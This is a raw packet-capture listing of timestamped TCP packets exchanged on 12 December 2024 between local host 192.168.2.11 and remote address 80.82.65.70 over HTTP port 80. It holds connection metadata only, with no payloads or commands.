Dec 12, 2024 16:48:04.750971079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.751601934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.751739979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.751760006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.751780033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.752317905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.752378941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.752418995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.752470016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.753096104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.753226995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.753307104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.753432989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.753870010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.753990889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.754014015 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.754070044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.754731894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.754798889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.754897118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.754970074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.755501032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.755561113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.755579948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.755644083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.756252050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.756323099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.756325006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.756366014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.756999016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.757069111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.757091999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.757113934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.811295033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.811363935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.811403990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.811501980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.811687946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.811748028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.811788082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.811860085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.812282085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.812356949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.812391043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.812434912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.813040018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.813096046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.813103914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.813210011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.848073959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.848187923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.848191023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.848241091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.848448038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.848521948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.848599911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.848674059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.849198103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.849262953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.849340916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.849406004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.849977970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.850097895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.850100994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.850156069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.850756884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.850807905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.850872993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.851089001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.851530075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.851600885 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.851625919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.851677895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.852323055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.852432966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.852467060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.852562904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.853168964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.853269100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.853348970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.853393078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.853929996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.853981972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.854026079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.854115963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.854659081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.854706049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.854782104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.854935884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.855480909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.855540991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.855616093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.855664968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.856249094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.856308937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.856372118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.856410980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.857043028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.857063055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.857132912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.857800961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.857868910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.857914925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.858233929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.858697891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.858760118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.858833075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.858880043 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.859425068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.859483004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.859483957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.859551907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.860151052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.860219955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.860282898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.860374928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.861934900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.862023115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.862066984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.862124920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.862411976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.862499952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.862546921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.862641096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.863060951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.863121986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.863173008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.863271952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.926845074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.926973104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.927016973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.927205086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.927251101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.927309990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.927359104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.927437067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.927439928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.927515030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.928149939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.928217888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.928231955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.928307056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.929114103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.929202080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.929207087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.929289103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.929774046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.929833889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.929864883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.930133104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.930495977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.930557013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.930639029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.930701971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.931268930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.931335926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.931407928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.931463003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.932039022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.932123899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.932265997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.932977915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.933063984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.933077097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.933124065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.933666945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.933729887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.933867931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.933937073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.934391975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.934434891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.934442997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.934483051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.935189962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.935256958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.935349941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.935439110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.935955048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.936017990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.936065912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.936115026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.936870098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.936988115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.937026978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.937275887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.937772036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.937891960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.937923908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.937951088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.938275099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.938337088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.938349962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.938496113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.939225912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.939294100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.939305067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.939403057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.939876080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.939919949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.939982891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.940042019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.940689087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.940715075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.940757036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.941453934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.941536903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.941577911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.941732883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.942219973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.942260027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.942354918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.942981958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.943075895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.943109989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.943151951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.943784952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.943842888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.943905115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.944546938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.944639921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.944662094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.944729090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.945370913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.945463896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.945481062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.945599079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.946165085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.946280003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.946415901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.946480036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.946978092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.947019100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.947078943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.947735071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.947777033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.947782040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.948074102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.948506117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.948561907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.948563099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.948771000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.949254990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.949312925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.949398041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.949510098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.004194975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.004252911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.004430056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.004441977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.004559040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.004600048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.005238056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.005315065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.005378008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.006099939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.007560015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.040158987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.040299892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.040378094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.040445089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.040565014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.040644884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.040698051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.040779114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.041429996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.041466951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.041524887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.042164087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.042304039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.042359114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.042953014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.043045044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.043088913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.043771982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.043843031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.043895006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.044516087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.044562101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.044642925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.045284033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.045342922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.045483112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.045536041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.046063900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.046195984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.046241999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.046950102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.047039032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.047092915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.047669888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.047724009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.047770977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.048450947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.048568964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.048686981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.049246073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.049309015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.049483061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.049596071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.049954891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.050045967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.050082922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.050132990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.050741911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.050803900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.050920963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.050965071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.051537991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.051579952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.051630974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.051647902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.052356958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.052409887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.052472115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.052541971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.053086042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.053148985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.053214073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.053288937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.054055929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.054126978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.054142952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.054198980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.054708004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.054764032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.054912090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.055025101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.119421005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.119573116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.119668007 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.119728088 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.119851112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.120019913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.120488882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.120539904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.120611906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.121279955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.121340036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.121371031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.122096062 CET	80	49819	80.82.65.70	192.168.2.11
